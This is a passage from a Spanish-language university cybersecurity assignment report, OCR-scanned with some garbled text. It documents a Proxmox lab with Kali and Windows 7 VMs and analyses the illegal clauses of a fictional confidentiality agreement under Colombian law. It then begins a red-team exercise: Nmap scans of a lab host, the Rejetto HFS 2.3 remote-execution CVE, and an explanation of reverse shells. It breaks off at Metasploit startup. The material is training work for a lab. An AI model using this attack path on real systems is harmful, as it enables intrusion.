y explicar como se encuentra desplegado “caracteristicas técnicas
de hardware”.

Hardware de la PC PROXMOX
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llustracion 12. Hardware Maquina anfitriona

{ii} Uso de CPU 0.61% de 4 CPU(s)
@ Retardo /0 0.23%
= Carga promedio 0.00,0.01,0.31
F= Memoria RAM 7.93% (1.23 GiB de 15.51 GiB) Compartiendo KSM 0B
& | Espacio de Disco 17.08% (16.05 GiB de 93.93 GiB) & Memoria SWAP 0.00% (0 B de 8.00 GiB)
CPU(s) 4 x Intel(R) Core(TM) i3-2100 CPU @ 3.10GHz (1 Socket)
Version del kernel Linux 5.15.74-1-pve #1 SMP PVE 5.15.74-1 (Mon, 14 Nov 2022 20:17:15 +0100)
Version de PVE Manager pve-managen/7.3-3/c3928077
Repository Status & Production-ready Enterprise repository enabled Enterprise repository needs valid subscription
Fuente: propia
Hardware Maquina virtual Kali Linux
llustracion 13. Hardware Maquina virtual Kali Linux
Agregar Eliminar Editar Disk Action Revertir
E= Memoria 2.00 GiB
{l} Procesadores 1 (1 sockets, 1 cores)
& BIOS Por defecto (SeaBIOS)
L Pantalla Por defecto
£ Machine Por defecto (i440fx)
£ Controlador SCSI VirtlO 3CSl single
(® Dispositivo CD/DVD (ide2) localiso/kali-linux-2021.1-live-amdb4 izo, media=cdrom, size=3507212K
& Disco Duro (scsil) local-lvm:vm-102-disk-0 iothread=1 size=32G
= Dispositivo de red (nat0) virtio=32:F2:B4:76:TE:FE bridge=vmbr( firewall=1

Fuente: propia

Hardware Maquina virtual Windows 7
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llustracion 14. Hardware Maquina virtual Windows 7

E= Memoria 2.00 GiB

W Procesadores 1 (1 sockets, 1 cores)

¥ BIOS Por defecto (SeaBl05)

L Pantalla Par defecto

£ Machine pe-id40fe-7.1

£ Controlador 3CSI VirtlO SCSI single

& Disco Duro (idel) local-lvm:vm-100-dizk-0 =ize=32G

(® Dispositivo CD/DVD (ide2) localisoles_w_T_AlO_x86x64 july2016.iso,madia=cdrom, size=6907685K
= Dispositivo de red (net0) e1000=1A:18:1B:E1:37:6B,bridge=vmbrl firewall=1

Fuente: propia

3 ETAPA 2 ACTUACION ETICA Y LEGAL

De manera individual usted debera leer el problema que se encuentra en el
anexo 2 — Escenario 2, ademas debera leer y analizar el anexo 3 — Acuerdo
para generar la solucién a las siguientes preguntas orientadoras:

3.1 ¢UNA VEZ LEIDO EL ANEXO 2 — ESCENARIO 2 Y EL ANEXO 3 -
ACUERDO USTED LOGRA EVIDENCIAR ALGUN PROCESO ILEGAL Y
NO ETICO QUE SE ESTE ESTIPULANDO EN DICHO ACUERDO?
DEBERA ARGUMENTAR SU RESPUESTA Y SENALAR LOS
FRAGMENTOS ILEGALES DEL ANEXO ACUERDO EN CASO DE
EXISTIR ALGUNA IRREGULARIDAD.

ANEXO 2 - Escenario
1. La organizacion WhiteHouse Security utiliza un contrato elaborado por un
abogado que fue despedido por encontrar procesos ilicitos, lo que
sugiere que la empresa podria estar involucrada en practicas poco éticas o
ilegales.

Ademas, la alta gerencia no reviso los contratos, lo que indica una falta
de diligencia por parte de la empresa.
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2. La organizacion aprovecha una serie de problemas internos para clasificar
una primera mision a la cual deberian dar respuesta en poco tiempo y
trabajar bajo presion, lo que parece ser una forma poco ética de seleccionar
a los nuevos empleados. Ademas, la empresa espera que los equipos
trabajen bajo esta caracteristica, lo que puede conducir a practicas poco
éticas o incluso ilegales en el proceso.

3. La organizacion solicita que se proyecte la instalacion de dos maquinas
virtuales por medio de virtualbox, lo que sugiere que la empresa puede
estar utilizando tecnologia sin licencia, lo que también es ilegal.

ANEXO 3 - Acuerdo

Primera. Objeto: en virtud del presente acuerdo de confidencialidad, la parte
receptora, se obliga a no divulgar directa, indirecta, proxima a remotamente, ni a
través de ninguna otra persona o de sus subalternos o funcionarios, autoridades
legales, asesores o cualquier persona relacionada con ella, la informacion
confidencial o sobre procesos ilegales dentro de Whitehouse Security no podran ser
divulgados.

Respuesta: Esta clausula va mas alla de lo permitido por las leyes de proteccion
de datos, ya que impide que la informacion confidencial o sobre procesos ilegales
dentro de la empresa sea divulgada, incluso a las autoridades legales competentes.
Esto permite llegar a sugerir que la empresa esta intentando encubrir posibles
delitos o précticas ilegales, lo que es contrario a la ética empresarial y a la ley
colombiana.

Segunda. Definicién de informacion confidencial: se entiende como Informacién
Confidencial, para los efectos del presente acuerdo:

1. Lainformacion que no sea publica y sea conocida por la parte receptora con
ocasion del proceso de seleccion de personal.

2. Cualquier informacion societaria, técnica, juridica, financiera, comercial, de
mercado, estratégica, de productos, nuevas tecnologias, patentes, modelos
de utilidad, disefios industriales, datos secretos como “datos de chuzadas,
interceptacion de informacion, accesos abusivos a sistemas informaticos”.

Parte receptora tenga conocimiento o a la que tenga acceso por cualquier

medio o circunstancia en virtud de las reuniones sostenidas y/o documentos
suministrados.
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3. Laque corresponda o deba considerarse como tal para garantizar el derecho
constitucional a la intimidad, la honra y el buen nombre de las personas y
deba guardarse la debida diligencia en su discrecion y manejo en el
desempeiio de sus funciones.

Respuesta: Esta clausula presenta varios aspectos que pueden ser
considerados ilegales y no éticos.

Al establecer que la informacion confidencial incluye cualquier informacion
sobre procesos ilegales dentro de Whitehouse Security, lo que sugiere que
la organizacion podria estar involucrada en actividades ilicitas.

La clausula menciona que la informacion confidencial incluye datos secretos
como "datos de chuzadas, interceptacion de informacion, accesos abusivos
a sistemas informaticos", esto sefalaria que la organizacion podria estar
realizando actividades de espionaje o hackeo, lo cual es ilegal y antiético.

La clausula establece que los empleados de Whitehouse Security se
comprometen a no divulgar cualquier informacion que no sea publica y sea
conocida por ellos durante el proceso de seleccion de personal. Esto puede
pensarse como un acto ilegal, ya que los empleados podrian tener acceso a
informacién que no deberian conocer durante el proceso de seleccion, tales
como datos sobre otros candidatos qué podrian ser considerados como
informacion sensible.

Tercera. Origen de la informacién confidencial: provendrd de documentos
suministrados en el proceso de seleccion de personal y que tiene que ver con las
creaciones del intelecto, a la naturaleza, medios, formas de distribucion,
comercializacion de productos o de prestacion de servicios, transmitida verbal,
visual o materialmente, por escrito en los documentos, medios electronicos, discos
opticos, microfilmes, peliculas, e-mail u otros elementos similares suministrados de
manera tangible o intangible, independiente de su fuente o soporte y sin que
requiera advertir su caracter confidencial.

Respuesta: Esta clausula no establece limites precisos sobre qué tipo de
informacion se considerara confidencial y de donde vendrd, se esta dando pie a la
posibilidad de que informacion personal y propiedad intelectual de los candidatos a
la organizacion WhiteHouse Security sean conseguidas y utilizadas sin su
consentimiento. Esto puede ser considerado un proceso ilegal y no ético ya que se
estaria violando el derecho a la privacidad de los candidatos, asi como su propiedad
intelectual.
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Cuarta. Obligaciones de la parte receptora: Se considerard como parte
receptora de la informacion confidencial a la persona que recibe la informacion,
0 gque tenga acceso a ella. La parte receptora se obliga a:

De ser necesario 0 conveniente segun la necesidad del titular de la informacion, se
adicionaran las obligaciones que se consideren pertinentes:

ftem 1- Mantener la informacion confidencial segura, usarla solamente para los
propoésitos relacionados con él, en caso de ser solicitada, devolverla toda
(incluyendo copias de esta) en el momento en que ya no requiera hacer uso de la
misma o cuando termine la relacién, caso en el cual, deberd entregar dicha
informacion antes de la terminacion de la vinculacion.

Respuesta: no ofrece garantias para la proteccion de los derechos de los
trabajadores y su privacidad, asi como también podria ser una violacién de los
derechos de propiedad intelectual de los empleados.

ftem 2- Proteger la informacién confidencial, sea verbal, escrita, visual, tangible,
intangible o que por cualquier otro medio reciba, siendo legitima poseedora de la
misma Whitehouse Security, restringiendo su uso exclusivamente a las personas
gue tengan absoluta necesidad de conocerla.

Respuesta: restringir la informacion solo a ciertas personas puede permitir la
ocultacion de conductas ilegales o poco éticas en la empresa

ftem 3- No denunciar ante las autoridades actividades sospechosas de espionaje o
cualquier otro proceso en el cual intervenga la apropiacién de informaciéon de
terceros.

Respuesta: Como especialistas en seguridad informética, nuestra ética profesional
nos impone la responsabilidad de reportar a las autoridades competentes cualquier
actividad de espionaje sospechosa, ya que la ley colombiana considera que la
omisién de esta accion constituye un delito..

ftem 4- Abstenerse de denunciar y publicar la informacién confidencial e ilegal que
conozca, reciba o intercambie con ocasion de las reuniones sostenidas.

Respuesta: La ética profesional que tenemos como especialistas en seguridad
informatica nos obliga a denunciar ante las autoridades competentes cualquier
actividad sospechosa de espionaje, ya que la ley colombiana considera que no
hacerlo constituye un delito.
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ftem 8- Responder ante las autoridades competentes como responsable en caso de
que la informacion se encuentre en su poder dentro de un proceso de allanamiento.

Respuesta : La empresa desea que el empleado sea directamente involucrado
ante las autoridades competentes y que asuma la totalidad de los cargos, con el fin
de eximir a la compafia de cualquier responsabilidad.

Octava. Solucion de controversias: Las partes (nombre estudiante — nombre
empresa) se comprometen a esforzarse en resolver mediante los mecanismos
alternativos de solucion de conflictos cualquier diferencia que surja con motivo de la
ejecucion del presente acuerdo. En caso de que la informacion ilegal o confidencial
sea encontrada en manos del receptor este debera acudir a un abogado privado y
dejar exenta de cualquier responsabilidad legal y penal a Whitehouse Security

Respuesta : Obliga a una de las partes a renunciar a su derecho a la justiciay a la
proteccion de sus intereses legales y confidenciales. Ademas, deja a la otra parte
exenta de responsabilidad incluso en caso de incumplimiento o violacion del
acuerdo.

3.2 SILA RESPUESTA ES AFIRMATIVA Y USTED ENCONTRO ALGUN
PROCESO ILEGAL EN EL ANEXO 3 - ACUERDO ACUERDO DEBERA
MENCIONAR QUE ARTICULOS DE LA LEY 1273 SE PODRIAN
VULNERAR EN DICHO ACUERDO Y ESPECIFICAR PORQUE VULNERA
ARTICULOS DE LA LEY 1273.

articulos de laley 1273 que se vulneray por que

Primera. Objeto: Al obligar al empleado a no denunciar y convertirse en complice
de actividades criminales, la empresa esta violando el articulo 269F de la Ley 1273
de 2009. Asimismo, al manipular informacién privada y confidencial sin la
autorizacion expresa del propietario, la empresa esta cometiendo un delito segun el
articulo 269H de la Ley 1273 de 2009.

Esta accion puede resultar en una pena de prision de hasta tres afios y en la
inhabilitacion para ejercer la profesion.

Esta clausula es contraria a la ley que establece que cualquier persona que tenga

conocimiento de actividades ilicitas relacionadas con sistemas de informacion debe
denunciarlas ante las autoridades competentes.
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Segunda. Definicidén de informacidon confidencial: Articulos 269C y 269H de la
Ley 1273 de 2009 ,cuando alguien se apropia de informacién, accede a sistemas
de informacion y lleva a cabo la interceptacion de datos sin la autorizacion
correspondiente, estd cometiendo un delito que puede conllevar graves
consecuencias penales y econémicas..

Al obligar al empleado a no denunciar estos delitos, es complice se expone a estas
penas

Tercera. Origen de lainformacién confidencial: articulos 269i y 269h de la ley
1273 de 2009 en esta clausula, ya que manipula informacién de terceros sin su
consentimiento a través de herramientas informaticas y también recopila
informacion personal de los candidatos sin autorizacion en los procesos de
seleccion.

Cuarta. Obligaciones de la parte receptora:

Esta clausula vulnera varios articulos de la Ley 1273 de 2009: el 269A por referencia
al espionaje y receptacion de informacion, el 269C por la interceptacion de
informacion, el 269F por la violacion de informacion empresarial y personal, y el
269H por la captura de informacién sin autorizacion y su uso para beneficio propio.
El empleado al callar y no denunciar, es complice y se expone a graves
consecuencias penales y econdémicas.

Octava. Solucién de controversias: Articulo 269f, ya que la compafiia esta
obligando al receptor a no denunciar cualquier informacion ilegal o confidencial
encontrada en sus manos y a eximir a la compafiia de cualquier responsabilidad
legal y penal.

3.3 (¢EXISTIENDO PROCESOS POCO CONFIABLES EN EL ANEXO 3 -
ACUERDO? ¢USTED COMO EXPERTO EN CIBERSEGURIDAD
APLICARIA A ESTE TRABAJO EN THE WHITEHOUSE, DONDE LA
ORGANIZACION DISPONE DE UN SUELDO DE $15.000.000 DE PESOS
COLOMBIANOS MENSUALES Y CONTRATO VITALICIO?

Debe argumentar su respuesta ya sea afirmativa o negativay tener en cuenta

en la argumentacién lo que se dispone en COPNIA en su cddigo de ética para
ingenieros.
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Respuesta: NEGATIVA, La oferta laboral ofrece un salario atractivo y un contrato
vitalicio, lo cual da indicios a que se realizaran actividades delictivas que pueden
llevar a graves consecuencias como la prision y la pérdida de la licencia profesional.
No es justificable aceptar este tipo de empleo que atenta contra la privacidad de las
personas y va en contra de las leyes que rigen nuestro pais. Es importante ser
consecuentes con el coédigo de ética de la entidad COPNIA, se debe ser
consecuente con el codigo de ética y las leyes , lo cual es fundamental para evitar
graves consecuencias, como la destitucién, la anulacién de titulos, multas y céarcel’.

3.4 DEBERA BUSCAR LA NOTICIA DEL CASO “OPERACION ANDROMEDA
BUGGLY” EN LA CIUDAD DE BOGOTA, Y REDACTAR SU PUNTO DE
VISTA TENIENDO EN CUENTA LAS IMPLICACIONES LEGALES Y
ETICAS QUE ALLI SE PUDIERON GENERAR.

Considero que en el "Caso Andromeda Buggly" en la ciudad de Bogotd, se logra
evidenciar la necesidad de la articulacion entre entidades publicas y privadas en
Colombia, en el tema de la seguridad informatica y el hacking ético del pais.

Aungue hay un esfuerzo constante en este ambito, todavia hay mucho por hacer
para minimizar las brechas legales, técnicas y de personal calificado.

El gobierno también debe mostrar una voluntad de trabajar por el bien comuin en
lugar de intereses particulares. Solo asi se podran lograr avances significativos en
la proteccién de la privacidad y seguridad de los ciudadanos en el entorno digital.

En Colombia, hay una gran cantidad de especialistas en seguridad informatica que
buscan contribuir al bien comun y al servicio comunitario. La falta de oportunidades
laborales y de regulacion en el campo de la seguridad informatica ha llevado a
muchos profesionales a buscar oportunidades en otros paises.

En este contexto, la empresa Andromeda Buggly realizé un reclutamiento de
personal con el objetivo de aprovechar al maximo el conocimiento de los expertos
en seguridad informatica y hacking ético. Si bien esta estrategia produjo resultados
positivos, también hubo consecuencias negativas, como la violacion de normas y la
comision de delitos informéaticos debido a la falta de experiencia y conocimiento en
la materia. Es importante destacar que la normatividad actual del Estado colombiano
establece medidas claras para prevenir este tipo de situaciones y garantizar la
seguridad informatica en el pais. Por tanto, se requiere una mayor regulacion y
formacion en seguridad informética para evitar estos problemas en el futuro.

7 Codigo de ética | Copnia. (s.f.). Recuperado 23 de febrero de 2023, de
https://www.copnia.gov.co/tribunal-de-etica/codigo-de-etica
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la seguridad informética y el hacking ético son cada vez mas importantes a nivel
mundial, y es necesario que se unan las fuerzas de todas las ramas judiciales del
estado y entidades privadas para aprovechar a los expertos en beneficio del bien
comun, buscando la integridad, confidencialidad y disponibilidad de la informacién
del estado.®

4 ETAPA 3 EJECUCION PRUEBAS DE INTRUSION

De manera individual usted debera leer el problema que se encuentra en el anexo
4 — escenario 3 referente a equipo Redteam y por medio del banco de trabajo
configurado previamente debera dar respuesta a las siguientes preguntas
orientadoras:

4.1 DESCRIBA DE MANERA ESPECIFICA LAS HERRAMIENTAS
SOFTWARE QUE UTILIZO PARA LLEVAR A CABO EL ANEXO 4 —
ESCENARIO 3 ENFOCADO A REDTEAM. DEBERA ADJUNTAR
EVIDENCIA DE LOS COMANDOS UTILIZADOS Y RESULTADOS QUE
ARROJO CADA HERRAMIENTA UTILIZADA, ESTAS HERRAMIENTAS
DEBEN ESTAR CLASIFICADAS SEGUN LOS PASOS DE UN
PENTESTING.

llustracion 15. Herramienta Nmap

Fuente: Nmap | Kali Linux Tools. (s. f.). Kali Linux. Recuperado 9 de marzo de 2023,
de https://www.kali.org/tools/nmap/

8 Pefiarredonda, J. L. (2015, diciembre 9). Detras de Buggly: La historia de la fachada Andrémeda
ENTER.CO. ENTER.CO. https://www.enter.co/empresas/colombia-digital/detras-de-buggly-la-
historia-de-la-fachada-andromeda/
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Nmap, también conocido como "Network Mapper”, es una herramienta de codigo
abierto ampliamente utilizada para la exploracion de redes y la identificacion de
hosts y servicios en una red determinada.

Entre las principales caracteristicas de Nmap se incluyen:

Escaneo de puertos: Nmap puede escanear una amplia gama de puertos en un
host y descubrir qué puertos estan abiertos, cerrados o filtrados. Esto puede ayudar
a identificar servicios y aplicaciones que se ejecutan en un host determinado.

Deteccidn de sistemas operativos: Nmap puede detectar el sistema operativo que
se esta ejecutando en un host en funcion de las respuestas que recibe de las sondas
enviadas durante el escaneo.

Escaneo de redes: Nmap puede escanear una red entera y descubrir qué hosts
estan activos y cudles estan inactivos. También puede identificar los sistemas
operativos de los hosts y los servicios que se ejecutan en cada host.

Deteccion de vulnerabilidades: Nmap puede ser utilizado para detectar
vulnerabilidades en los sistemas y servicios que se ejecutan en los hosts. Para
hacer esto, Nmap utiliza scripts personalizados que se ejecutan durante el escaneo
y que buscan sefales de vulnerabilidades conocidas.

Personalizacion: Nmap ofrece una gran cantidad de opciones de personalizacion
y configuracion. Los usuarios pueden personalizar el comportamiento de Nmap para
adaptarse a sus necesidades especificas.

Interfaz de usuario: Nmap se puede utilizar tanto desde la linea de comandos
como a través de una interfaz de usuario grafica. La interfaz de usuario permite a
los usuarios seleccionar opciones de escaneo y visualizar los resultados en un
formato facil de entender.®

En esta actividad se utilizd scripts para comprobar vulnerabilidades las mas
conocidas en este caso son

e Auth: ejecuta todos sus scripts disponibles para autenticacion

e Default: ejecuta los scripts basicos por defecto de la herramienta
e Discovery: recupera informacion del target o victima

e External: script para utilizar recursos externos

9 Guia de referencia de Nmap (Pagina de manual). (s. f.). Recuperado 9 de marzo de 2023, de
https://nmap.org/man/es/index.html#man-description
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e Intrusive: utiliza scripts que son considerados intrusivos para la victima o
target

e Malware: revisa si hay conexiones abiertas por cédigos maliciosos o
backdoors (puertas traseras)

e Safe: ejecuta scripts que no son intrusivos

e Vuln: descubre las vulnerabilidades mas conocidas

e All: ejecuta absolutamente todos los scripts con extension NSE disponibles?®

llustraciéon 16. Metasploit-framework

Fuente: Metasploit-framework | Kali Linux Tools. (s. f.). Kali Linux. Recuperado 9 de
marzo de 2023, de https://www.kali.org/tools/metasploit-framework/

Metasploit es un marco de pruebas de penetracion de cédigo abierto utilizado para
probar la seguridad de los sistemas informaticos y encontrar vulnerabilidades.

Metasploit proporciona una amplia variedad de herramientas y técnicas que
permiten a los usuarios llevar a cabo pruebas de penetracibn y explotar
vulnerabilidades. La plataforma incluye modulos que permiten la identificacion de
vulnerabilidades, la generacion de payloads y la ejecucién de exploits.

También se pueden personalizar los modulos para adaptarse a las necesidades
especificas de las pruebas de penetracion.'!

10 Auditando con Nmap y sus scripts para escanear vulnerabilidades. (2015, febrero 12).
WeliveSecurity. https://www.welivesecurity.com/la-es/2015/02/12/auditando-nmap-scripts-
escanear-vulnerabilidades/

11 Metasploit | Penetration Testing Software, Pen Testing Security. (s. f.). Metasploit. Recuperado 9
de marzo de 2023, de https://www.metasploit.com/
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Rejetto v.2.3 es una version de HFS (HTTP File Server), que es un servidor web
gratuito y de codigo abierto que permite a los usuarios compartir archivos a traves
de Internet utilizando el protocolo HTTP.

En algunas fuentes confiables se evidencian alertas sobre la vulnerabilidad presente

en la aplicacion Rejetto v. 2.3

llustracién 17. Vulnerabilidad Rejetto - exploit-db

Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)

]
&) EDB-ID: CVE: Author: Type: Platform: Date:
2014-6287 AVINASH REMOTE WINDOWS
THAPA
&
EDB Verified: ./ Vulnerable App:
- Exploit: ¥ / {} e
Q

O >

Fuente: Thapa, A. (2016, enero 4). Rejetto HTTP File Server (HFS) 2.3.x—
Remote Command Execution (2). Exploit Database. https://www.exploit-
db.com/exploits/39161

llustracion 18. Vulnerabilidad Rejetto - incibe-cert
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. u lb t _ » :
h< In:l E-:Er - Alerta » Incidentes » Servicios Publicaciones + Sobre INCIBE-CERT =
Inicio / Alerta Temprana / Vulnerabilidades / CVE-2020-13432

Vulnerabilidad en archivos o carpetas virtuales en rejetto HFS (CVE-2020-13432)

Tipo: Copia de bufer sin comprobacién del tamafio de entrada (Desbordamiento de bufer clasico)
Gravedad: Media Il

Fecha publicacion : 08/06/2020

Ultima modificacién: 06/04/2021

Descripcion

rejetto HFS (también se conoce como HTTP File Server) version v2.3m Build #300, cuando se utilizan archivos o carpetas virtuales, permite a atacantes remotos
desencadenar una violacién de acceso de escritura de puntero no valido por medio de peticiones HTTP concurrentes con un URI largo o encabezados HTTP
largos

Impacto

Vector de acceso: A través de red

Complejidad de Acceso: Baja

Autenticacion: No requerida para explotarla

Tipo de impacto: No hay impacto en la integridad del sistema + No hay impacto en la confidencialidad del sistema + Afecta parcialmente a la disponibilidad de
sistema

Fuente: CVE-2020-13432. (2020, junio 8). INCIBE-CERT. https://www.incibe-
cert.es/alerta-temprana/vulnerabilidades/cve-2020-13432

llustracién 19. Vulnerabilidad Rejetto — CVE
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TOTAL CVE Records: 197071

NOTICE: Transition to the all-new CVE website at WWW.CVE.ORG and CVE Record Format JSON are underway.
NOTICE: Changes are coming to CVE List Content Downloads in 2023.

HOME > CVE > CVE-2014-6287

Printer-Friendly View

CVE-2014-6287 Learn more at National Vulnerability Database (NVD)
* CVSS Severity Rating » Fix Information  Vulnerable Software Versions « SCAP Mappings # CPE Information

Description

The findMacroMarker function in parserLib.pas in Rejette HTTP File Server (aks HFS or HttpFileServer) 2.3x before 2.3c allows remote attackers to execute arbitrary programs
via a %00 sequence in a search action.

References

Note: References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete.

CERT-VN:VU#251276
URL:http://www.kb.cert.org/vuls/id/251276
EXPLOIT-DB:39161

Fuente: CVE - CVE-2014-6287. (s.f.). Recuperado 9 de marzo de 2023, de
https://cve.mitre.org/cqgi-bin/cvename.cqgi?name=CVE-2014-6287
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4.2 A CONTINUACION, LISTE Y DESCRIBA LOS DATOS E INFORMACION
DEL ANEXO 4 ESCENARIO 3 QUE LE FUERON DE AYUDA PARA
IDENTIFICAR EL FALLO DE SEGURIDAD ESPECIFICO EL CUAL ATACA
A LA MAQUINA WINDOWS 7 X64.

La informacion del anexo 4, escenario 3, que ayudaron a identificar el fallo de
seguridad fueron:

e Equipo con sistema operativo Windows 7 X64 , sistema que no cuenta las
actualizaciones de software de Windows Update que ayudan a proteger tu
equipo ya no estan disponibles para el producto desde el 14 de enero de
2020 12

e Se ha producido una fuga de informacién en un equipo que cuenta con la
aplicacion Rejetto v. 2.3 instalada

e Se ha identificado un exploit que podria conducir a la apertura de una Shell
reversay la creacion de una sesion de meterpreter

e Falla de seguridad

e Escalamiento de privilegios

4.3 ¢QUE HERRAMIENTA UTILIZO PARA PODER IDENTIFICAR LOS |
FALLOS DE SEGURIDAD DE LA “MAQUINA WINDOWS 7”? ¢ QUE
PUERTO ABRE LA APLICACION ESPECIFICA EN EL ANEXO?

e Con la herramienta ipconfig se identifica la IP de la maquina victima que para
este caso es la IP: 192.168.20.49

e Con la herramienta netstad se identifica los puertos que estan abiertos y que
se encuentran en estado LISTENING.

12 E| soporte de Windows 7 finalizé el 14 de enero de 2020—Soporte técnico de Microsoft. (s. f.).
Recuperado 9 de marzo de 2023, de https://support.microsoft.com/es-es/windows/el-soporte-de-
windows-7-finaliz%C3%B3-el-14-de-enero-de-2020-b75d4580-2cc7-895a-2c¢9c-1466d9a53962
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e Al emplear la herramienta Nmap se identifica los servicios que la maquina
tiene corriendo y a su vez el puerto por donde se puede atacar.

e La “aplicacion rejetto v.2.3” tiene abierto “el puerto 80"

4.4 EXPLIQUE CON SUS PALABRAS Y DE MANERA ESPECIFICA COMO
AFECTA EL ATAQUE A LA MAQUINA (WINDOWS 7 X64), HAGA USO DE
GRAFICOS PARA EXPLICAR EL ATAQUE.

Un shell inverso es una técnica utilizada en seguridad informatica para obtener
acceso a un sistema remoto. En lugar de establecer una conexion directa desde el
sistema atacante al sistema objetivo, el objetivo es quien inicia la conexién hacia el
atacante.

Esto se logra mediante la ejecuciéon de un programa malicioso en este caso
aplicacion rejetto v.2.3, la cual se encarga de establecer una conexion de red de
vuelta al sistema atacante. Una vez que se ha establecido la conexion, el atacante
puede utilizar una linea de comandos remota en el sistema objetivo para realizar
acciones maliciosas, como instalar software malicioso adicional, robar informacion,
o realizar cambios en el sistema objetivo.

La técnica del shell inverso es utilizada a menudo porque permite a los atacantes
evadir los sistemas de deteccion de intrusiones y los firewalls al utilizar una conexién
de red de salida legitima desde el sistema objetivo hacia el atacante.'?

Sumado a esto la maquina con Windows 7 x64 no cuenta con las actualizaciones
de software de Windows Update que ayudan a proteger el equipo ya no estan
disponibles para el producto desde el 14 de enero de 2020 4

llustracién 20. Descripcion ATAQUE

13 KeepCoading, R. (2022, noviembre 10). ¢(Como ejecutar una shell inversa? | KeepCoding Tech
School. https://keepcoding.io/blog/como-ejecutar-una-shell-inversa/

14 El soporte de Windows 7 finalizo el 14 de enero de 2020—Soporte técnico de Microsoft. (s. f.).
Recuperado 9 de marzo de 2023, de https://support.microsoft.com/es-es/windows/el-soporte-de-
windows-7-finaliz%C3%B3-el-14-de-enero-de-2020-b75d4580-2cc7-895a-2c¢9c-1466d9a53962
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ATACANTE VICTIMA

—= S = gy

192.168.20.50 192 168.20.49
KALI LINUX W7 X64
. 2 ¥
‘ Nmap ‘ ‘ Metasploit ‘

Fuente: Propia

4.5 DOCUMENTE CADA UNO DE LOS PASOS QUE EJECUTO Y SUS
RESPECTIVAS EVIDENCIAS PARA EXPLOTAR LA VULNERABILIDAD
EN LA MAQUINA WINDOWS.

llustracion 21.Consulta IP Kali Linux
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collisions O

frame 0

carrier © collision

Fuente: Propia

Consultamos la IP del HOST con Kali Linux
llustracion 22. Consulta IP Host Windows 7 x64

C:slUserssusuario*ipconf ig

Configuracion IP de Windows

Adaptador de Ethernet Conexidn de Area local:

Sufijo DMS especifico para la conexidn. . :

Diveccidn IPvb6 . . . . . . . . . . : 20800:484:dbh7c:fc4@:4842:9ced:4e38:7898

Direccidn IPu6 . . . . . . . . . . & 2800:484:dh?c:fc4@:9582:c12c:chc?:c379

Direccidon IPuv6 temporal. . . . . . : 2808:484:db7c:fcdB:cdad:dlaa:527:4840
. = feBB::4842:%ced:4e38 7878111

Uinculo: direccion IPu6 local.

Direccidn IPwd. . . . . . . . . . . . . . 192.168.268.49

Mizcara de subred . . . . . . . . . . . . 255.255.255.8

Puerta de enlace predeterminada . . . . . FeBB::1682:5hif:-feBd:28x11
192.168.28.1

Adaptador de tinel isatap.{SBESBEDZ-9BA4-4799-BEB3-D289D73C24603:

Ezstado de los medios. . . . . medios desconectados

Sufijo DMS especifico para la conexidn. . @

Fuente: Propia
Consultamos la IP del HOST CON Windows 7 X64

llustracién 23. Verificacién comunicacion y respuesta mediante Ping
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fr
from I
from ]
from
from
from
from
from
from 2.168 . : tl=
from ] J: icmp =10 ttl=

i
1
1
1
1
ic
ic
ic

Fuente: Propia

Verifico conectividad mediante ping desde la maquina Linux

llustracién 24. Instalacién de software rejetto v.2.3

f HFS ~ HTTP File Server 2.3 Build 223 == ==
& Menu f{? Port: 80 | @1 You are in Easy mode
m Open in browser  http://192,168.20.49/ Copy to clipboard
Virtual File System Log
o8 IP address ] File Status Speed Tim
Fl m 3

Out: 0.0 KBfs  In: 0.0 KE/s

Fuente: Propia

Instalacién de software rejetto v.2.3 con el objetivo de experimentar lo que dice la
actividad y encontrar el punto de fuga de informacion.
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llustracion 25. browser en host Kali Linux

= Universidad Macional A& o = HFS /S -+

< G far 192.168.20.49|

Kali Limux Kali Training Kali Tools < Kali Docs Kali Forums

Login MNo files in this folder

— Folder

wl Home

O folders, O files, O bytes

' search

g

74 Select
AL Inwvert
Mask

O items selected

Fuente: Propia
Desde browser en host Kali Linux, accedemos a la IP del Host Con Windows 7x&4

llustracidon 26. Respuesta host victima

& HFS ~ HTTP File Server 2.3 Build 288 [l -= =]
& Menu | {:F Port: 80 | € You are in Easy mode
m Open in browser  http://192,168.20.49/ " Copy to clipboard
Virtual File Systemn Leg
A 08:53:05 p.m. 192.168.20.50:36554 Requested GET /
W8 1P address 1 File Status Speed Tim
192.168.20.50:36554 - idlel
4 T | »

Out: 0.0 KB/s In: 0.0 KB/=

Fuente: Propia
Respuesta desde host victima

llustracion 27. Escaneo Nmap
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:~$ nmap 192.168.20.49
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-08 22:27
Nmap scan report for 192. '... .49
Hu t 1s up (0.012s latency
shown: 986 filtered pu|f
FHFT STATE SERVICE
80/tcp  open http
Open  msrpc
open netbios-ssn
open microsoft-ds
open
open
open

unknown
unknown
unknown
unknown
unknown
unknown
unknown

Fuente: Propia

Escaneo de los puertos mediante Nmap, Se observa el puerto 80 abierto.

llustracién 28. Escaneo con Nmap -A -v
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1s
NetBIOS MAC: O¢
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ous, but default)

but not required

Fuente: Propia

Escaneo con Nmap -A -v

Se utiliza para realizar un escaneo agresivo de una red y obtener informacién
detallada sobre los sistemas objetivo.

Aqui se explica el significado de las opciones utilizadas en el comando:
-A: Habilita el modo agresivo. Esta opcion activa la deteccion de sistemas
operativos, la deteccion de versiones, el escaneo de scripts y el trazado de ruta

(traceroute).

-v: Aumenta el nivel de verbosidad. Esta opcion aumenta la cantidad de detalles
que muestra nmap durante el escaneo.

Al combinar estas opciones, nmap realizard un escaneo exhaustivo de los sistemas

objetivo, identificando el sistema operativo, los puertos abiertos y los servicios que
se ejecutan en esos puertos. También intentard detectar las versiones de los

52



servicios y del sistema operativo, y ejecutara un conjunto de scripts
predeterminados para identificar posibles vulnerabilidades.

Fuente: Propia

IIusracién 30 Shell kali Iinu

Fuente: Propia

Se crea el usuario en Kali Linux con privilegios de administrador con el comando
sudo o usermod -a -G sudo fabianperez. A su vez el usuario es agregado a la
Shell para que sea visible en la terminal con el siguiente comando de Kali Linux:
chsh -s /bin/bash fabianperez

Inicio y uso de la herramienta Metasploit en Kali Linux

llustracion 31. Metasploit
fabianperez@seminario: $ msTcor

[I*] starting the Metasploit Framework cOnsole...\

Fuente: Propia
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llustracion 32. Logo MetasPloit

M

MMMMM MMMMM
. \ MMMMMMMN NMMMMMMM
MMMNLT MMMMMMMMMNmmmNMMMMMMMMM
MMNI S MMMMMMMMMMMMMMMMMMMMMMM

M \ mMmMMMMMMMMMMMMMMMMMMMMM
